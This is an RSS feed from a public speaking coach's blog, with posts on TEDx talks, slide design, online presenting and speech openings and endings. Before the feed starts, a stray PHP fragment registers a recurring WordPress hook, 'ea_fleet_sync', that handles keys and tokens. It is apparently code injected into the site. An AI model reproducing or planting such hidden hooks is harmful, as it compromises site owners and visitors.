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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Content Archives - Now you're talking https://www.nowyouretalking.co.uk/category/content/ Public speaking Sat, 06 Jan 2024 17:37:06 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 TED says – 5 elements of standout talks https://www.nowyouretalking.co.uk/2024/01/08/ted-says-5-elements-of-standout-talks/ Mon, 08 Jan 2024 09:00:13 +0000 https://www.nowyouretalking.co.uk/?p=1584 TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading. Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work…

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]]> TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading.

Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work and deliver my idea worth spreading.

What I hadn’t realised was how challenging the experience would be and the learnings I would derive.

TED says is what Lyn Roseaman learnt giving her TEDxTalk at TEDxLewisham.

Here are my five things TED shows us.

TED says 1 – Find your TED idea worth spreading

TED talks are no different from any talk or presentation in that they all need a clear message, an idea worth spreading, that the audience will value; a message that will effect change in what they think, feel and do in relation to the subject.

Without this clarity, it’s hard to assemble the right content so that it delivers a clear and memorable message.

If you can’t sum up your message in a few words, it almost certainly needs more thought. And if YOU can’t sum up your message in a few words, your audience has no chance.

The message of my TEDx Talk was that loneliness ruins lives and we all have a responsibility to try and smash the loneliness pandemic. I embedded this message – the problem and the solution – in a memorable anchor phrase, ‘Loneliness shatters. Community matters.’

Please enjoy and comment on my TEDx Talk, ‘Reach out and smash the loneliness pandemic’.

TED says 2 – Better together

Nothing thrills me more than teamwork, so why treat a TEDx Talk any differently?

I made myself a list of people whose advice I cherish, both as friends and speakers. Then I approached each one to see if they’d like to help. Some of us met on Zoom, some of us met in person for dinner or coffee, some showed up on the day to watch the speech live.

We brainstormed ideas, evolved a speech and shared feedback to craft and hone my talk.

And the most wonderful thing for me was when everyone who helped expressed an interest in staying involved beyond an initial meeting. Their continuous help and support was inspirational.

So, never be afraid to ask for help. Fresh perspectives and ideas are always useful, along with a healthy dose of sense checking, feedback and encouragement. TED shows us that we are definitely better together.

TED says 3 – Make your practice real

It’s too easy to practise a talk in front of a mirror or record and playback, whatever your preference. But the important thing is to create a sense of reality that will ramp up the nerves of being in front of an audience and give you a better idea of how everything is working for you.

In front of a mirror, I was great! Word perfect. As soon as I went in front of people, whether in a Zoom meeting, trying it out in a café or delivering at a TEDxLewisham dress rehearsal, I fell apart. At one such event, my knees were shaking so much, I thought I was going to fall over. Every time, I would suddenly lose my way and forget what I wanted to say.

Time to remember that preparation is about internalising, not memorising, a speech. Reminding myself of my speech route map, I was liberated from my script and free to read the room, interact with my audience and sound relaxed, natural and conversational.

TED says 4 – Unpick the nerves

From an anxiety point of view, giving a TEDx Talk was one of the hardest things I’ve ever done. As an experienced speaker, I was a bit shocked by my reactions and wanted to understand better what was happening to me.

The two main negative voices in my head that are always likely to give me a hard time are the “perfectionist” and the “hyper-achiever”. And I was feeding them both.

In my capacity of public speaking coach, I think I gave too much weight to the TEDx opportunity and the importance in my head of doing a good job. My hyper-achiever was out with a vengeance, with an internal monologue that repeatedly told me, ‘If you mess up, what does it say about you as a coach?’

TED was my dream and everything was unravelling, but I wasn’t giving in that easily! I had to find a way to enjoy my moment on the TEDx “red dot”.

TED says 5 – Enjoy the moment

On the day, I was surrounded by fellow speakers and lovely friends. The mutual support and encouragement were phenomenal.

As I took to the stage, wrapped in their warm and positive vibes, I reminded myself that I had a speech I was proud of , with a relevant and relatable message.

I looked around the audience, raised my hand and began…

‘Hands up if you’ve ever felt lonely’. Up went a strong show of hands and we were off… speaker and audience together. We enjoyed sharing relatable experiences and I thoroughly enjoyed sharing my stories.

TED shows us that to bring a speech or presentation to life in an engaging and memorable way needs a clear idea worth spreading, preparation, confidence and, above all else, connection with your audience.

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]]> Change matters in our talks and presentations https://www.nowyouretalking.co.uk/2023/10/27/change-matters-in-our-talks-and-presentations/ Fri, 27 Oct 2023 12:56:55 +0000 https://www.nowyouretalking.co.uk/?p=1579 Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject. I recently gave a TEDx Talk about what we can do about…

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]]> Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject.

I recently gave a TEDx Talk about what we can do about loneliness.

Lyn Roseaman giving a TEDxTalk inviting people to change their thoughts, feelings and actions about loneliness

 

It was a talk full of stories from my childhood and the present day, inviting people to change how they handle loneliness and pull together to help smash the loneliness pandemic.

Loneliness is shattering lives, especially young people’s lives. It could happen to any of us, at any time. Hiding under the duvet might seem like a great solution, but withdrawing from the world only makes things worse. Difficult and painful as it is, we need to reach out.

Presenting the case that “Loneliness shatters” and “Community matters”, I seek to change what my audience thinks, feels and does about loneliness.

Inspired by memories of my childhood and growing up in the community of a care home owned and run by my mum, I invite my audience to discover bite-sized ways to help us smash the “loneliness pandemic”. Change matters!

This talk was given at a TEDx event using the TED conference format but independently organised by a local community.

You can listen to the full talk here.

Love to hear your thoughts.

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]]> Beware the quote https://www.nowyouretalking.co.uk/2023/09/10/beware-the-quote/ Sun, 10 Sep 2023 08:55:48 +0000 https://www.nowyouretalking.co.uk/?p=1566 Beware the quote. Our favourite social media platforms are awash with them. I can think of two big reasons to be careful with quotes: 1.  They can feel really repetitive and clichéd as the same thoughts appear over and over…

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]]> Beware the quote. Our favourite social media platforms are awash with them.

Quote from Dorothy Sayers about how quotes save you from having to have original thoughts

I can think of two big reasons to be careful with quotes:

1.  They can feel really repetitive and clichéd as the same thoughts appear over and over again.

2.  Quotes need checking. Misattribution is common.

For instance, Maya Angelou is often credited with this quote:

‘They may forget what you said, but they will never forget how you made them feel.’

It seems the actual author was Carl W Buehner. Beware the quote source.

Quote Investigator is a good online place to start checking quotes, especially those you find on the Internet rather than read yourself in an original book.

In my recent TEDxTalk, the early drafts ended with this quote:

‘Never doubt that a small group of thoughtful, committed citizens can change the world. Indeed, it’s the only thing that ever has’ (Margaret Mead).

I eventually replaced Margaret Mead’s words with my own anchor phrase – ‘Loneliness shatters. Community matters’. It’s memorable and the audience joined me in the connection sweet spot by chorusing the last word of my talk with me.

If giving talks and presentations is an act of thought leadership and changing what people think, feel and do, then beware the quote.

Your original thoughts and words have greater sincerity and power to make a difference than trotting out other people’s quotes we’ve probably heard before.

Thanks to The Knowledge for the Dorothy Sayers quote.

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]]> It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

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]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

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]]> Speaking online is here to stay https://www.nowyouretalking.co.uk/2020/09/09/speaking-online-is-here-to-stay/ Wed, 09 Sep 2020 08:11:43 +0000 https://www.nowyouretalking.co.uk/?p=1266 Picture this… A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two…

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]]> Picture this…
A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two Zoom meetings. The audience in the first. Speakers, session chairs, tech teams and other officials in the second. And then there were breakout rooms for workshops and briefings. Even though it was a UK event, speakers were streamed in from around the world, no expense spared! When the event went live, the Zoom meeting with multiple rooms, speakers, etc was broadcast into the audience Zoom meeting. And all without a hitch! Speaking online  is here to stay.

The future may be ‘hybrid’, but expectations of how we speak and present online will continue to rise; expectations of speakers to be engaging, relevant and memorable if we want to stay visible, have clients and employees who enjoy working with us, and thrive in our businesses. We need to make time to shine online with the three communication essentials of Confidence, Connection and a message that drives Change.

Confident speaking online 

Confidence is vital online to help your listeners feel they’re in safe hands and can relax and concentrate on what you have to say. If you come across as unduly nervous, people will worry about your wellbeing and may even tune out. To hold their attention, you need to bring confident energy to the screen.

You’re on the small screen

Being online is like having a close up and every member of your audience has a front-row seat. You’re on the small screen and the camera and mic will pick up every detail, expression, gesture and sound. What can your audience see and hear and is it what you want them to see and hear?

Are you looking your best? Ensure your main light source is behind the camera so that you’re neither plunged into shadow nor dazzled by sunlight, making you squint or obliterating your eyes if you wear glasses. Capture a screenshot before you go live and know you look the part. Wearing block colours also make you look strong and professional.

Check your tech

Relying on technology can feel like working with children and animals. With all the checks in the world, things can still go wrong. If they do, keep calm, explain what’s happening and fix the problem. Even better, invite a participant to take care of the tech for you.

In addition, make sure your internet connection is as strong as it can be to minimise buffering.

Share confident energy

Think of all the non-verbal ways you can bring confident energy to the screen. For instance:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, on the small screen, fidgeting distracts and big gestures that work in a large venue will overwhelm or fall out of view
  • Set the camera at just above eye level and look directly into the lens (not at the faces on your monitor) for open and sincere eye contact, while keeping any double chins at bay!
  • Breathe into the abdomen and relax your upper body so that your vocal tone is rich and strong and you mic doesn’t pick up any sign of nerves in your voice.

Connection when speaking online

Picture people queueing up to talk to you after you’ve given a talk, or piling questions into the chat. They’re there because you’ve connected with them, both in terms of the value you’ve given and the way you’ve made them feel. And online, it’s even more vital. If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

What’s In It For Me?

Whether you’re pitching for work, inspiring your team, hosting a meeting or giving a conference paper, it’s your responsibility to know what your listeners are expecting from you and answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that you are relevant and on the pulse, and they have a reason to carry on listening. This means deep researching your audience so that you understand who they are, what they already know and what makes them tick.

Use inclusive language

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power implies a one-to-one conversation in the singular and, in the plural, includes everyone, creating both a strong feeling of inclusivity and a personal connection. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Barack Obama understood the power of ‘you’ and ‘we’. In his 2012 presidential election victory speech, he used the personal pronoun ‘I’ 36 times, ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

Stories trump PowerPoints

Human beings are hard wired to connect through storytelling and it comes into its own online. It makes us relatable, likable, engaging and memorable. And all the more so when we tell a relevant personal story, openly and honestly:

In her book  Lyn Roseaman observes:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman, ‘Now You’re Talking!’

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to your listeners tuning out. Prioritise relevant storytelling at every opportunity to avoid online fatigue and tedium.

Your message to drive Change

John F Kennedy said “The only reason to give a speech is to change the world.”

Speaking online – meetings, events, conversations – is your opportunity to remain visible, develop fresh ideas and deliver energy and momentum to online experiences.

Message for the moment

Meetings can sometimes lose sight of a clear purpose and message. Starting at the end of your presentation or meeting with how you want people to think, feel or act after they’ve listened to what you have to say will help you stay relevant, show you’re in touch and on point. Identify a message that is new and on point and then incorporate only content that supports it. Make it memorable and end with a call to action that justifies people’s attendance and put plans in place to follow up.

Make life easy when you’re speaking online

Our attention spans are short at the best of times and seemingly even shorter online, so it’s crucial to get to the point and stay relevant. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners along the way. Less is most definitely more online.

Structure and signpost your talk so that it is easy to follow. Choose a clear structure. Break up your presentation into small ‘chunks’ of some five minutes each, and top and tail each chunk with what you plan to cover and a keyword to sum it up as you move on to the next chunk. Signpost what you have to say to let your audience know the ‘road map’ for your talk so it’s clear and easy to follow.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Interact at every opportunity

In Zoom and Teams, you can create breakouts. Dividing your audience into smaller groups and sending them to separate ‘rooms’ where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas.

Aiming to make some 70% of the time interactive will make your meetings, talks and presentations more dynamic, relevant and memorable. To help things run smoothly, set ground rules online for listening to each other and not all talking at the same time!

Conclusion

Speaking online convincingly is here to stay. Prepare to go hybrid for the benefit of you and your business. In future we’ll need to shine online AND in physical locations, with our real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article appeared in ESOMAR’s Research World as ‘Make some time to shine online’ and HR Director as ‘How to give your best performance in your next online presentation’

 

 

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]]> Pizzazzing your sales presentation https://www.nowyouretalking.co.uk/2018/01/15/pizzazzing-your-sales-presentation/ Mon, 15 Jan 2018 18:52:27 +0000 https://www.nowyouretalking.co.uk/?p=319 When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options…

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]]> When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options for being more creative and having an immediate, positive impact on your audience. Starting well, being engaging and energetic makes it so much easier to keep momentum throughout your presentation.

Here are some tips on getting that early engagement and energy.

  1. Work your opening words

Lightbulb moment

Spend time working on the opening of your presentation. Practise in front of the mirror, in front of your family pet if necessary. Make sure you have a few strong sentences that will flow and get your ideas across clearly. While you are practising check that you look good too. Upright posture not only helps you exude energy it will give your clients confidence in you and encourage them to listen intently.

  1. Use anecdotes

Good presenters are adept at telling appropriate stories. They can be very brief and if told well they add colour and interest. We all have a stockpile of stories. Find one that will fit your client, perhaps a story that relates to something in the news that is relevant to their company or industry. By starting with a story you’ll set yourself apart from less accomplished presenters and energise your audience.

  1. Use active language

From the start of your presentation use active language. Avoid the passive voice. If you say “it is said that there is always a solution to a problem”, you leave everyone unsure about who will be taking responsibility for finding a solution. If you say “Today we will find a solution to this problem…” it is clear where responsibility lies and your audience will take notice.

  1. Come up with an anchor phrase

Motivational speakers often have an anchor phrase, words that everyone associates with them. You may not be standing up in front of 10,000 people in the Excel Centre but your job is still to motivate. So why not borrow a technique? “We’ll find a way”. “Yes we can!” “Paul for paper!” You can punctuate your presentation with your catch phrase right from the beginning. Doing so adds emphasis, fun, and makes you memorable. Who doesn’t need some fun or light relief in a business presentation?

  1. Quote an expert

If a catch phrase isn’t for you why not start with a high impact quote from an industry expert?  Someone respected by your audience. If the quote is recent so much the better. If it’s from a recent article or event you’ve attended you show you have your finger on the pulse. You also benefit from the credibility of the person you are quoting.

Quite often the main body of a sales presentation will contain information that we have to repeat for every client. Starting with pizzazz gives you a way to personalise your presentation and tailor it for your specific audience.

Starting with pizzazz helps you give a quality, professional presentation which builds momentum. And most importantly means you’ll seal the deal!

First published in Sales Initiative

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]]> Happy endings – how to end your speech with impact https://www.nowyouretalking.co.uk/2017/11/24/happy-endings-how-to-end-your-speech-with-impact/ Fri, 24 Nov 2017 17:13:17 +0000 https://www.nowyouretalking.co.uk/?p=314 Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions. She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word. And then it…

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Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And then it came to the conclusion, the ‘thank-you-for-listening, my-time-seems-to-be-up’ damp squib. Such a disappointing close and such a missed opportunity.

Call to action

Conclusions are the speaker’s opportunity to craft what they want their audience to remember tomorrow and take action on. It is the speaker’s opportunity to reaffirm their authority as someone with a message to share and one that is worth hearing. It is for this reason that many speakers believe the ending is the most important part of a speech.

Well-crafted final words will stick in people’s minds. This is partly the psychological recency effect and partly the result of a well-structured speech that ends with a fitting conclusion. For this reason it’s best to avoid wishy-washy endings:

  • Apologising for not covering everything you hoped to cover
  • Saying “Thank you for listening”
  • Empty pleasantry such as “It was a pleasure to be here”
  • Closing with the answer to a random question from the audience.

At the end of a speech, the conclusion enables you to summarise your key message and deliver a call to action. So, how can you end with a bang, not a Facunda-style whimper? How can you create happy endings?

Your conclusion should signal the end, but it is not just a final sentence. As a general rule of thumb, it should be about 10-15% of your speech. As soon as you start to summarise/review your main ideas, the audience understands that the speech is coming to an end. This removes the need for words like ‘in conclusion’ or ‘finally’. If you feel using this kind of signal to your audience is helpful, make sure you mean it; don’t ramble on or add new points.

There are a host of ways to end your presentation with a bang. They all strive to help you achieve impact, memorability, engagement and commitment.

Creating impact

As speakers, you want to influence your audiences. You are seeking to inform, persuade or inspire. You are trying to influence their knowledge, behaviour, attitudes, opinions and even beliefs. You need to crystallise your message and activate your audience. To create this level of impact, there are many techniques at your disposal that help produce compelling and impactful conclusions.

For example:

  • Reinforce your overall purpose

Make sure the purpose of your speech is reinforced and crystal clear in the ending. Think of this in terms of both content and style of delivery. If you say something inspiring your body language must mirror this – no awkward slouching but strong upright posture

  • Use delivery to emphasise importance

Be clear in articulating your key message. Harness your vocal variety, tone of voice, passion and enthusiasm – SAMENESS is the biggest enemy of the speaker; change energy, pace, etc. Difference indicates importance

  • Summarise using key questions

You might summarise in the tried-and-tested form of “Tell ‘em what you’re going to tell ‘em. Tell ‘em. Tell ‘em what you’ve told ‘em”. Consider using rhetorical questions based on your core premise to set up your summary of your key messages.   The key messages will be the answers to those questions

  • End with a powerful quote

Use a powerful and relevant quotation from an historic figure, business icon, etc. that resonates with your audience

  • A final strong statement

Make your final sentence the takeaway that encapsulates the overall theme, your main message and any call to action. Ensure it is a statement that underlines your authority and belief in your message.

Achieving memorability

As speakers, you want audiences to remember what you say, to share your pearls of wisdom and have a real impact on them:

  • Top speakers use anchor phrases to help them be memorable and repeatable or quotable. For Martin Luther King it was “I have a dream”. It’s a few words your audience will associate with you and your message. When your catchy, rhythmic phrase pops into their mind, the rest of your speech will be reactivated. It can contain the title of your speech or evolve during the speech, but it will help your audience remember your speech tomorrow and beyond. If your concluding remarks do not align with your anchor phrase, then they have no business in your conclusion, nor, indeed, in your speech!
  • Go further and cause conversation through controversy, humour, and/or great stories. Leave them thinking
  • Rhythm and repetition can both help to build memorability and impact, especially with an injection of appropriate humour
  • Bring the speech full circle by using ‘callbacks’ to your opening remarks or stories. By revisiting a story told earlier in your speech, you create memorability and provide the audience with triggers to recall your main message and serve as a powerful aide memoire
  • Use a relevant prop or image during your speech – one that will serve as a trigger. If you use it at the end of your speech your key message will be reinforced and will stick in people’s minds.

Building engagement and commitment

This is key to encouraging your audience to take action, particularly in any persuasive or inspirational speech:

  • When you speak, you lock into the ideas, information and beliefs that your audience members already have in their mind. And the conclusions are the reaffirmation of those thoughts and ideas. What’s in it for the listener and what you want them to do
  • Use personal stories and anecdotes to engage powerfully with your audience, while using a ‘callback’, to create familiarity and a warm connection with your listeners
  • Invite your audience to take up or consider any call to action you make. Tone of voice is crucial. If you want people to do something as a consequence of experiencing your speech, you need to persuade them and invite them in both your closing words and the manner of their delivery. Telling and instructing may break the connection you have created. Reconnect them with your stories and your central theme
  • Alternatively, take the words of an historic figure or other relevant person and invite the audience to do as they have done
  • Is your audience made up of people from the same organisation or do they share a common interest? Referencing a publication or a quotation that resonates with them will create a connection with you and your call to action
  • Show them your call to action as a solution to an issue, problem or challenge. Show them the benefits to them of embracing your call to action. Show them your commitment and enthusiasm.

Typewriter

In conclusion

Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And when it came to the conclusion, the audience was on its feet, cheering for more, queueing to be a part of the call to action, sharing Facunda’s stories and observations.

What a happy ending!

 

This article appeared in thought-leadership.top-consultant.com

Recently republished in lidradio.com

 

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]]> How do I present? Let me count the ways https://www.nowyouretalking.co.uk/2017/10/20/how-do-i-present-let-me-count-the-ways/ Fri, 20 Oct 2017 11:02:22 +0000 https://www.nowyouretalking.co.uk/?p=147 Forgive me for borrowing shamelessly from Elizabeth Barrett Browning, but a quick canter through Twitter reveals any number of ways to improve your public speaking and presentation skills. For example: Answer this 1 question and your audience will love you…

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]]> Forgive me for borrowing shamelessly from Elizabeth Barrett Browning, but a quick canter through Twitter reveals any number of ways to improve your public speaking and presentation skills.

Titles with numbers

For example:

Answer this 1 question and your audience will love you
2 things that will get you further than hard work
3 ways to be a better public speaker
4 presentation pitfalls
5 things you need to know for a perfect presentation
6 tips on how to present data in PowerPoint and avoid data overload
7 places to find powerful creative ideas
The 8 worst ways to start a speech
The 9 reasons why delivery is king over content
10 things your audience hates about your presentation
The 11 best presentation hacks you will ever need
And the numbers keep climbing.

What are we supposed to make of this?  Have the lower numbers overlooked something the higher numbers know about? Are the higher numbers exaggerating?

There are so many elements to public speaking and presenting, but the weight you give to each will depend on your point of view or what is important.  If you were to ask me the question – How do I present?  Let me count the ways, I would plump for the 3Cs of engagement.

1.  Clarity

If you are not clear in your own mind about what you want to say, then what hope for your audience?  You need to be clear about your purpose and message.  This will drive your content and how to structure it.

2.  Commitment to your audience

Stand out speakers know that the audience is their focus.  They understand that audience members are thinking ‘What’s In It For Me?’ (WIIFM).  And they ignore this question at their peril.  If your audience cannot find a personal relevance in your speech, their attention will drift.  This is why we say ‘know your audience’.  What do they want to know?  How do they want to receive it?  Show them WIIFM.

3.  Connection

Engaging your audience fully helps to make your speech more memorable and helps you, as the speaker, feel more relaxed.  There are many ways to create connections with your audience.  You need to be authentic, show them the ‘real’ you, be sincere, share personal stories and speak with conviction about things that you genuinely care about that are, simultaneously, of value to your audience.

That’s my contribution to the numbers game – the 3Cs of engagement in your speeches and presentations.

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]]> Winning beginnings – opening your speech with impact https://www.nowyouretalking.co.uk/2017/10/20/winning-beginnings-opening-your-speech-with-impact/ Fri, 20 Oct 2017 10:31:42 +0000 https://www.nowyouretalking.co.uk/?p=145 You’ve written your speech.  You’ve edited, re-edited and re-edited.  Your speech has a clear structure and message. Now for the crucial opening words and their delivery – winning beginnings. Research has shown that the first 90 seconds of any speech have…

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]]> You’ve written your speech.  You’ve edited, re-edited and re-edited.  Your speech has a clear structure and message. Now for the crucial opening words and their delivery – winning beginnings.

Research has shown that the first 90 seconds of any speech have the most impact and are the most memorable. Thought, time and effort spent on your opening is a worthwhile investment.

Often your audience has already listened to several other presentations. This means you are in competition with what they’re already heard, with work issues, personal issues, and the big question: what am I having for dinner tonight? With the added distraction of mobile devices maybe they just appear attentive and interested.

You need to stand out from other speakers. This starts before you’ve even uttered your first word.  Expectations shape reality.  If your audience expects you to be good, they’ll perceive you as just that.  So dress the part and never admit to feeling anxious, unsure or unwell.

1.  Make an impact on your audience before you attempt to inform, persuade or inspire

The opening of your speech needs to provide them with a compelling reason to park all competing thoughts and give you their full attention for the duration of your speech.  Don’t waste the opening seconds with platitudes, such as thank you for inviting me, what an honour, etc, etc.  Friendly, but boring and predictable.

Robert Taylor auto-portrait

Auto-portrait by Robert Taylor www.taylor-photo.co.uk

Contrast and standout are crucial.  If every speaker stands up and opens with “Thank you Mr Chairman, valued colleagues and guests”, you will stand out if you have an opening that is different and inclusive.  For instance, “Mr Chairman, valued colleagues and everyone who has ever felt the pressure of hitting a mega sales target …”  This will immediately signal something different and interesting is about to happen.

After the formalities you have a few seconds to reinforce the initial expectations you’ve set.  Make a direct, dramatic opening which seizes your audience’s interest:  It can be compelling, humorous, shocking, challenging or imaginative.  Try using:

  • A rhetorical or a survey question. Cue the response you are looking for.  For instance, one hand raised in the air tells the audience you’re interested in a show of hands, not a verbal response. Look expectant, with open body language if you want people to shout out answers.
    Questions are even more effective when they are ‘you’ focused:
    Using the language of one-to-one conversation feels personal, that ‘speaking-just-to-me’ feeling
    ‘You’ speaks to one, but includes everyone, eg Are you having fun?
    Use ‘have you ever …?’ questions to achieve an emotional connection. Avoid ‘how many …?’ questions.  They can be distracting as people search for information in their memories
  • A statement in the form of a startling statistic or a bold claim can set the scene effectively for an informational or educational talk. “Did you know that …”
  • Paint a picture. This can start with “Imagine …” or “It was 2.30pm on a rainy Monday …”. The aim is to get your audience to visualise a scene in their minds.  Make it broad-brush. The audience will fill in the detail from their own experiences and memories. This will make it more powerful
  • Anecdote – a personal, amusing, short story that relates directly to your overall message. One that the audience can relate to
  • A recent quotation from a respected industry expert. The expert gives added credibility and, if it’s recent, you sound on the ball
  • Silence in the form of a distinct, confident pause. You will give your audience time to clear their minds of previous speeches or distractions, pique their curiosity and get them focused on what you might be about to say or do.

Whichever approach you adopt, appeal to their senses – what people see, hear, feel, smell, taste.  This will give your speech opening more emotional resonance and invites the audience in.

For example, if you are talking about restructuring your company, invite the audience to “Imagine an organisation where your colleagues are your friends, your office looks efficient yet feels welcoming, like home, the smell of coffee fills the air …”  Then continue with your story: “I don’t feel like that when I walk into our office.  Do you?”  In this way, you have tapped into the audience’s imagination and they’ll see themselves in your opening, using their frame of reference.

You can then bring them along on a journey as you continue your speech.

2.  Keep your opening active

Always speak in the active, not the passive, voice.  Don’t say “Our business needs to be restructured for growth …” which leaves the listener not sure who will be doing what by when.  Say “We need to restructure our business for growth … These are the next steps … who will … by when …”

Sentences in the active voice are shorter, have energy and directness.  Speaking in the here and now gives you and your opening message immediacy and presence.

3.  Introduce an ‘anchor phrase’ early on

Top speakers use anchor phrases.  A good anchor phrase should encapsulate the feeling and message of your speech.  For Martin Luther King it was “I have a dream”.  It’s a few words your audience will associate with you and your message.  When your phrase pops into their mind, the rest of your speech will be reactivated.  If you can make it rhythmic so much the better.

4.  Practise the delivery of  your opening

Practise your opening until it flows naturally and effortlessly.  On the day, take centre stage and ooze confidence with a solid posture and a smile. The stability of your opening stance will support the credibility of your message.  Look briefly around your audience.  This gives you time to calm your nerves and the audience time to settle down, and focus on you.  The pause will pique their curiosity – they will be eager to hear your opening words.

Used well, your powerful opening will prevent the audience thinking “so what?”, or “what’s in it for me?”  With a memorable opening, they are with you, wanting to know more.

Lyn has also contributed to the FT Adviser article “Make a direct, dramatic opening, says speech expert”

Recently republished at LID Radio

 

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